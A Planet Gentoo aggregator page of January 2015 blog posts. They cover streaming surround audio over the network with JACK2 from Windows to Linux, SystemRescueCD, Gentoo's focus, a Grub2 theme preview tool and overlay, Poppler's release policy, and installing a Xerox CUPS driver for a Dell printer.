I've got a notebook with some fancy HD Audio sound card (stereo!), and a single output jack - not a sane way to get surround sound (sure, cool kids use HDMI these days). Even worse, connecting an external amplifier to the jack results in catching a lot of electrical interference. Since I also have a PC which has surround speakers connected, I figured it would be a good idea to stream the audio over the network.

On non-Windows, the streaming would be trivial to setup. Likely PulseAudio on both machines, few setup bits and done. If you are looking for a guide on how to do such a thing in Windows, you're likely end up setting up an icecast server listening to the stereo mix. Bad twice. Firstly, stereo-only. Secondly, poor latency. Now imagine playing a game or watching a movie with sound noticeably delayed after picture (well, in the movie player you could at least play with A/V delay to work-around that). But there must be another way…

The ingredients

In order to get a working surround sound system, you need to have:

  1. two JACK2 servers - one on each computer,
  2. ASIO4ALL,
  3. and an ASIO-friendly virtual sound device such as VB-Audio Hi-Fi Cable.

Install the JACK server on the computer with speakers, and all the tools on the other machine.

Setting up the JACK slave (on speaker-PC)

I'm going to start with setting up the speaker-PC since it's simpler. It can run basically any operating system, though I'm using Gentoo Linux for this guide. JACK is set up pretty much the same everywhere, with the only difference in used audio driver.

The choice of master vs. slave is pretty much arbitrary. The slave needs to either combine a regular audio driver with netadapter, or the net driver with audioadapter. I've used the former.

First, install JACK2. In Gentoo, it can be found in the pro-audio project overlay. A good idea is to disable D-Bus support (USE=-dbus) since I wasn't able to get JACK running with it and the ebuild doesn't build regular jackd when D-Bus support is enabled.

Afterwards, start JACK with the desired sound driver and a surround-capable device. You will want to specify a sample rate and bit depth too. Best fit it with the application you're planning to use. For example:

$ jackd -R -d alsa -P surround40 -r 48000 -S

This starts the JACK daemon with real-time priority support (important for low latency), using ALSA playback device surround40 (4-speaker surround), 48 kHz sample rate and 16-bit samples.

Afterwards, load netadapter with matching number of capture channels, and connect them to the output channels:

$ jack_load netadapter -i '-C 4'
$ jack_connect netadapter:capture_1 system:playback_1
$ jack_connect netadapter:capture_2 system:playback_2
$ jack_connect netadapter:capture_3 system:playback_3
$ jack_connect netadapter:capture_4 system:playback_4

At this point, slave is ready. JACK will wait for a master to start, and will forward any audio received from the master to the local sound card surround output. Since JACK2 supports zero-configuration networking, you don't need to specify any IP addresses.

Setting up the virtual device

After getting the slave up, it's time to set the sound source. After installing all the components, the first goal is to set up the virtual audio device. Once the Hi-Fi Cable package is insalled (no need to reboot), the system should start seeing two new devices - playback device called 'Hi-Fi Cable Input' and recording device called 'Hi-Fi Cable Output'. Now open the sound control panel applet and:

  1. select 'Hi-Fi Cable Input' as the default output device.
  2. Right-click it and configure speakers. Select whatever configuration is appropriate for your real speaker set (e.g. quad speakers).
  3. (Optionally) right-click it and open properties. On the advanced tab select sample rate and bit depth. Afterwards, open properties of the 'Hi-Fi Cable Output' recording device and set the same parameters.

Control Panel sound settings with virtual Hi-Fi Cable Input deviceAdvanced Hi-Fi Cable Input device properties (sample rate and bit depth setting)

As you may notice, even after setting the input to multiple speakers, the output will still be stereo. That's a bug (limitation?) we're going to work-around soon…

Setting up the JACK master

Now that device is ready, we need to start setting up JACK. On Windows, the 'Jack Control' GUI is probably the easiest way. Start with 'Setup'. Ensure that the 'portaudio' driver is selected, and choose 'ASIO::ASIO4ALL v2' both as input and output device. The right-arrow button right of the text inputs should provide a list of devices to select. Additionally select the sample rate matching the one set for the virtual device and the JACk slave.

JACK setup window

Now, we need to load the netmanager module. Similarly to the slave setup, this is done using jack_load. To get this fully automated, you can use the 'Execute script after startup' option from the 'Options' (right-arrow button is not helpful this time). Create a new .bat file somewhere, and put the following command inside:

jack_load netmanager

Save the file and select is as post-startup script. Now the module will be automatically loaded every time you start JACK via Jack Control. You may also fine-tune some of the 'Misc' settings to fit your preferences. Then confirm 'Ok' and click 'Start'. If everything went well so far, after clicking 'Connect' you should see both 'System' and the slave's hostname (assuming it is up and running). Do not connect anything yet, just verify that JACK sees the slave.

Connecting the virtual sound card to JACK

Now that the JACK is ready, it's time to connect the virtual sound card to the remote host. The traditional way of doing that would be through connecting the local recording device (stereo mix or Virtual Cable Output) to the respective remote pins. However, that would mean just stereo. Instead, we have to cheat a little.

One of the fancy features of VB-Audio's Virtual Hi-Fi Cable is that it supports using ASIO-compatible sound processors. In other words, the sound from virtual cable input is directed into ASIO output port for processing. Good news is that the stereo stripping occurs directly in virtual cable output, so ASIO still gets all the channels. All we have to do is to capture sound there…

Find VB-Cable's 'ASIO Bridge' and start it. If the button in the middle states 'ASIO OFF', switch it to enable ASIO. Then click on the 'Select A.S.I.O. Device' text below it and select 'JackRouter'. If everything went well, 'VBCABLE_AsioBridge' should appear in the JACK connection panel.

ASIO Bridge window

The final touches

Now that everything's in place, it's just a matter of connecting the right pins. To avoid having to connect them manually every time, use the 'Patchbay' panel. First, use 'Add' on left-hand side to add an output socket, select 'VBCABLE_AsioBridge' client and keep clicking 'Add plug' for all the input channels. Then, 'Add' on right-hand side, your remote host as client and add all the output channels. Now select both new sockets and 'Connect'.

JACK patchbay setup

Save your new patchbay definition somewhere, and 'Activate' it. If you did well, the connections window should now show connections between respective local and remote pins and you should be able to hear sound from the remote speakers.

JACK connections window after setup

Now you can open 'Setup' again, and on the 'Options' tab activate patchbay persistence. Select your newly created patchbay definition file and from now on, starting JACK should enable the patchbay, and the patchbay should ensure that the pins are connected every time they reappear.

Maintenance notes

First of all, you usually don't need to set an explicit connection between your virtual device and real system audio device. On my system that connection is established automatically, so that the sounds reach both remote host and local speakers. If that's unrequested, just mute the sound card…

Secondly, note that now the virtual sound card is the default device, so applications will control its volume (both for remote and local speakers). If you want to mute the local speakers, you need to open the mixer and select your local sound card from device drop-down.

Thirdly, VBCABLE_AsioBridge likes to disappear occasionally when restarting JACK. If you don't see it in the connections, just turn it off and on again (the 'ASIO ON' button) and it should reappear.

Fourthly, if you hear skipping, you can try playing with 'Frames/Period' in JACK's setup. Or reduce the sample rate.

16 Jan 2015 3:26pm GMT

14 Jan 2015

feedPlanet Gentoo

Andreas K. Hüttel: Cool Gentoo-derived projects (I): SystemRescueCD

Gentoo Linux is the foundation for quite some very cool and useful projects. So, I'm starting (hopefully) a series of blog posts here... and the first candidate is a personal favourite of mine, the famous SystemRescueCD.

http://www.sysresccd.org/

Ever needed a powerful Linux boot CD with all possible tools available to fix your system? You switched hardware and now your kernel hangs on boot? You want to shrink your Microsoft Windows installation to the absolute minimum to have more space for your penguin picture collection? Your Microsoft Windows stopped booting but you still need to get your half-finished PhD thesis off the hard drive? Or maybe you just want to install the latest and greatest Gentoo Linux on your new machine?

For all these cases, SystemRescueCD is the Swiss army knife of your choice. With lots of hardware support, filesystem support, software, and boot options ranging from CD and DVD to installation on USB stick and booting from a floppy disc (!), just about everything is covered. In addition, SystemRescueCD comes with a lot of documentation in several languages.

The page on how to create customized versions of SystemRescueCD gives a few glimpses on how Gentoo is used here. (I'm also playing with a running version in a virtual machine while I type this. :) Basically the internal filesystem is a normal Gentoo x86 (i.e. 32bit userland) installation, with distfiles, portage tree, and some development files (headers etc.) removed to decrease disk space usage. (Skimming over the files in /etc/portage, the only really unusual thing which I can see is that >=gcc-4.5 is masked; the installed GCC version is 4.4.7- but who cares in this particular case.) After uncompressing the filesystem and re-adding the Gentoo portage tree, it can be used as a chroot, and (with some re-emerging of dependencies because of the deleted header files) packages can be added, deleted, or modified.

Downsides? Well, not much. Even if you select a 64bit Kernel on boot, the userland will always be 32bit. Which is fine for maximum flexibility and running on ancient hardware, but of course imposes the usual limits. And rsync then runs out of memory after copying a few TByte of data (hi Patrick)... :D

Want to try? Just emerge app-admin/systemrescuecd-x86 and you'll comfortably find the ISO image installed on your harddrive in /usr/share/systemrescuecd/.



From the /root/AUTHORS file in the rescue system:

SystemRescueCd (x86 edition)

Homepage: http://www.sysresccd.org/
Forums: http://www.sysresccd.org/forums/

* Main Author: Francois Dupoux
* Other contributors:
- Jean-Francois Tissoires (Oscar and many help for testing beta versions)
- Franck Ladurelle (many suggestions, and help for scripts)
- Pierre Dorgueil (reported many bugs and improvements)
- Matmas did the port of linuxrc for loadlin
- Gregory Nowak (tested the speakup)
- Fred alias Sleeper (Eagle driver)
- Thanks to Melkor for the help to port to unicode


14 Jan 2015 10:53pm GMT

Donnie Berkholz: Gentoo needs focus to stay relevant

After nearly 12 years working on Gentoo and hearing blathering about how "Gentoo is about choice" and "Gentoo is a metadistribution," I've come to a conclusion to where we need to go if we want to remain viable as a Linux distribution.

If we want to have any relevance, we need to have focus. Everything for everybody is a guarantee that you'll be nothing for nobody. So I've come up with three specific use cases for Gentoo that I'd like to see us focus on:

People developing software

As Gentoo comes, by default, with a guaranteed-working toolchain, it's a natural fit for software developers. A few years back, I tried to set up a development environment on Ubuntu. It was unbelievable painful. More recently, I attempted the same on a Mac. Same result - a total nightmare if you aren't building for Mac or iOS.

Gentoo, on the other hand, provides a proven-working development environment because you build everything from scratch as you install the OS. If you need headers or some library, it's already there. No problem. Whereas I've attempted to get all of the barebones dev packages installed on many other systems and it's been hugely painful.

Frankly, I've never come across as easy of a dev environment as Gentoo, if you've managed to set it up as a user in the first place. And that's the real problem.

People who need extreme flexibility (embedded, etc.)

Nearly 10 years ago, I founded the high-performance clustering project in Gentoo, because it was a fantastic fit for my needs as an end user in a higher-ed setting. As it turns out, it was also a good fit for a number of other folks, primarily in academia but also including the Adelie Linux team.

What we found was that you could get an extra 5% or so of performance out of building everything from scratch. At small scale that sounds absurd, but when that translates into 5-6 digits or more of infrastructure purchases, suddenly it makes a lot more sense.

In related environments, I worked on porting v5 of the Linux Terminal Server Project (LTSP) to Gentoo. This was the first version that was distro-native vs pretending to be a custom distro in its own right, and the lightweight footprint of a diskless terminal was a perfect fit for Gentoo.

In fact, around the same time I fit Gentoo onto a 1.8MB floppy-disk image, including either the dropbear SSH client or the kdrive X server for a graphical environment. This was only possible through the magic of the ROOT and PORTAGE_CONFIGROOT variables, which you couldn't find in any other distro.

Other distros such as ChromeOS and CoreOS have taken similar advantage of Gentoo's metadistribution nature to build heavily customized Linux distros.

People who want to learn how Linux works

Finally, another key use case for Gentoo is for people who really want to understand how Linux works. Because the installation handbook actually works you through the entire process of installing a Linux distro by hand, you acquire a unique viewpoint and skillset regarding what it takes to run Linux, well beyond what other distros require. In fact I'd argue that it's a uniquely portable and low-level skillset that you can apply much more broadly than those you could acquire elsewhere.

In conclusion

I've suggested three core use cases that I think Gentoo should focus on. If it doesn't fit those use cases, I would suggest that we allow but not specifically dedicate effort to enabling those particulars.

We've gotten overly deadened to how people want to use Linux, and this is my proposal as to how we could regain it.


Tagged: gentoo

14 Jan 2015 3:36am GMT

12 Jan 2015

feedPlanet Gentoo

Sebastian Pipping: Tool to preview Grub2 themes easily (using KVM)

The short version: To preview a Grub2 theme live does not have to be hard.


Hi!

When I first wrote about a (potentially to lengthy) way to make a Grub2 theming playground in 2012, I was hoping that people would start throwing Gentoo Grub2 themes around so that it would become harder picking one rather than finding one. As you know, that didn't happen.

Therefore, I am taken a few more steps now:

So this post is about that new tool: grub2-theme-preview. Basically, it does the steps I blogged about in 2012, automated:

That way, a theme creator can concentrate on the actual work on the theme.

To give an example, to preview theme "Archxion" off GitHub as of today you could run:

git clone https://github.com/hartwork/grub2-theme-preview.git
git clone https://github.com/Generator/Grub2-themes.git
cd grub2-theme-preview
./grub2-theme-preview ../Grub2-themes/Archxion/

Once grub2-theme-preview has distutils/setuputils packaging and a Gentoo ebuild, that gets a bite easier, still.

The current usage is:

# ./grub2-theme-preview --help
usage: grub2-theme-preview [-h] [--image] [--grub-cfg PATH] [--version] PATH

positional arguments:
  PATH             Path of theme directory (or image file) to preview

optional arguments:
  -h, --help       show this help message and exit
  --image          Preview a background image rather than a whole theme
  --grub-cfg PATH  Path grub.cfg file to apply
  --version        show program's version number and exit

Before using the tool, be warned that:

Here is what to expect from running

# ./grub2-theme-preview /usr/share/grub/themes/gutsblack-archlinux/

assuming you have grub2-themes/gutsblack-archlinux off the grub2-themes overlay installed with this grub.cfg file:


Another example using the --image switch for background-image-only themes, using a 640×480 rendering of vector remake of gentoo-cow:



The latter is a good candidate for that Grub2 version of media-gfx/grub-splashes I mentioned earlier.

I'm looking forward to your patches and pull requests!

12 Jan 2015 9:04pm GMT

Sebastian Pipping: New Gentoo overlay: grub2-themes

Hi!

I've been looking around for Grub2 themes a bit and started a dedicated overlay to not litter the main repository. The overlay

Any Gentoo developer on GitHub probably has received a

[GitHub] Subscribed to gentoo/grub2-themes-overlay notifications

mail already. I did put it into Gentoo project account rather than my personal account because I do not want this to be a solo project: you are welcome to extend and improve. That includes pull requests from users.

The licensing situation (in the overlay, as well as with Grub2 themes in general) is not optimal. Right now, more or less all of the themes have all-rights-reserved for a license, since logos of various Linux distributions are included. So even if the theme itself is licensed under GPL v2 or later, the whole thing including icons is not. I am considering to add a use flag icons to control cutting the icons away. That way, people with ACCEPT_LICENSE="-* @FREE" could still use at least some of these themes. By the way, I welcome help identifying the licenses of each of the original distribution logos, if that sounds like an interesting challenge to you.

More to come on Grub2 themes. Stay tuned.

12 Jan 2015 8:38pm GMT

10 Jan 2015

feedPlanet Gentoo

Andreas K. Hüttel: Poppler is contributing to global warming


As you may have noticed by now if you're running ~arch, the Poppler release policies have changed.

Previously Poppler (app-text/poppler) used to have stable branches with even middle version number, say e.g. 0.24, and bug fix releases 0.24.1, 0.24.2, 0.24.3, ... but a (most of the times) stable ABI. This meant that such upgrades could be installed without the need to rebuild any applications using Poppler. Development of new features took place in git master or in the development releases such as, say, 0.25.1, with odd middle number; these we never packaged in Gentoo anyway.

Now, the stable branches are gone, and Poppler has moved to a flat development model, with the 0.28.1 stable release (stable as intended by upstream, not "Gentoo stable") being followed by 0.29.0 and now 0.30.0 another month later. Unsurprisingly the ABI and the soversion of libpoppler.so has changed each time, triggering in Gentoo a rebuild of all applications linking to libpoppler.so. This includes among other things LuaTeX, Inkscape, and LibreOffice (wheee).

From a Gentoo maintainer point of view, the new schedule is not so bad; the API changes are minor (if any), and packages mostly "just compile". The only thing left to do is to check for soversion increases and bump the package subslot for the automated rebuild. We're much better off than all the binary distributions, since we can just keep tracking new Poppler releases and do not need to backport e.g. critical bug fixes ourselves just so the binary package fits to all the other binary packages of the distro.

From a Gentoo user point of view... well, I guess you can turn the heating down a bit. If you are running ~arch you will probably see some more LibreOffice rebuilds in the upcoming future. If things get too bad, you can always mask a new poppler version in /etc/portage/package.mask yourself (but better check for security bugs then, glsa-check from app-portage/gentoolkit is your friend); if the number of rebuilds gets completely out of hand, we may consider adding e.g. every second Poppler version only package-masked to the portage tree.

10 Jan 2015 7:48pm GMT

Aaron W. Swenson: Dell 1350cnw on Gentoo Linux with CUPS

You'd think that a company that had produced and does produce some Linux based products would also provide CUPS drivers for their printers, like the Dell 1350cnw. Not so, it seems. Still, I was undeterred and found a way to make it happen.

First, download the driver for the Xerox Phaser 6000 in DEB format. Yeah, that's right. We're going to use a Xerox driver to print to our Dell printer.

Once you have it, do the following on the command line:

# unzip 6000_6010_deb_1.01_20110210.zip
# cd deb_1.01_20110210
# ar x xerox-phaser-6000-6010_1.0-1_i386.deb
# tar xf data.tar.gz
# gunzip usr/share/ppd/Xerox/Xerox_Phaser_6000B.ppd.gz
# mkdir -p /usr/lib/cups/filter/
# cp ~/deb_1.01_20110210/usr/lib/cups/filter/xrhkaz* /usr/lib/cups/filter/
# mkdir -p /usr/share/cups/Xerox/dlut/
# cp ~/deb_1.01_20110210/usr/share/cups/Xerox/dlut/Xerox_Phaser_6010.dlut /usr/share/cups/Xerox/dlut/

Or, because I've seen rumors that there are other flavors of Linux, if you're on a distribution that supports DEB files, just initiate the install from the DEB file, however one does that.

Finally, add the Dell 1350cnw via the CUPS browser interface. (I used whichever one had "net" in the title as the printer is connected directly to the network.) Upload ~/deb_1.01_20110210/usr/share/ppd/Xerox/Xerox_Phaser_6000B.ppd when prompted for a driver.

Everything works as expected for me, and in color!

10 Jan 2015 1:00pm GMT